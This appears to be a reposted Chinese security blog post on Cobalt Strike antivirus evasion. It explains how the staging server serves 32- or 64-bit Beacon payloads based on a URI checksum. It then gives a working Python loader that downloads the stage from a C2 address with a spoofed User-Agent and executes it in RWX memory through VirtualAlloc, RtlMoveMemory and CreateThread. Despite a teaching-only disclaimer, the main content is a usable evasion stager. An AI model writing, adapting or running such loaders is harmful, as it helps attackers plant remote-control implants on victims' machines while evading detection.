CS免杀-实现shellcode拉取stage

  • A+
所属分类:安全文章

CS免杀-实现shellcode拉取stage

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学,切勿用于它用途

公众号:XG小刚


Shellcode原理



通常我们使用CS生成payload后,都是利用加载器将payload放在内存中运行

CS免杀-实现shellcode拉取stage

但payload是如何与CS服务器通信的,我们不是很了解

因为生成的payload是一串机器码,没有反汇编能力的很难看懂其中的原理

CS免杀-实现shellcode拉取stage

当我网上查资料发现,原来CS生成的shellcode是使用wininet库实现的加载器,用来下载对应的stage(Beacon),并将stage注入到内存中去。


看到这就懂了,就是我们的加载器加载了一个shellcode写的加载器,用来拉取CS的stage,典型套娃啊。


源码



但是这里的访问stage不是随便访问的。CS客户端会判断我们的请求,请求正确才会返回给我们stage数据。

看一下CS的源码

CS免杀-实现shellcode拉取stage

在CS的源码中,会根据访问的URI,经过一系列操作checksum8()是否等于9293来判断访问。

等于92返回32位beacon,等于93返回64位beacon,都不等于则访问失败。


当然,每个人配置不同也会同时根据访问url或user-agent等判断。

CS免杀-实现shellcode拉取stage

这里我生成两个exe文件,一个32位,一个64位

可以看到URI为/trF4时CS判断为32位,为/Ln5r时判断为64位

CS免杀-实现shellcode拉取stage

这样访问http://192.168.10.1:8989/Ln5r就会返回给我们64位的stage(Beacon)

加载器



这样我们可以通过py将stage写入内存实现CS上线

import ctypesimport requests
headers = { 'User-Agent': "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",}shellcode = requests.get("http://192.168.10.1:8989/Ln5r", headers=headers)shellcode = bytearray(shellcode.content)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ptr,buf,len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

注意URI根据自己CS的配置来,可以先生成64位exe,看它访问的URI是多少

加载器目前只能实现64位上线,32位有空再搞搞。


然后可以将py代码转成汇编,再转成shellcode,有会转shellcode的大佬可以教教我。

本文始发于微信公众号(XG小刚):CS免杀-实现shellcode拉取stage

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: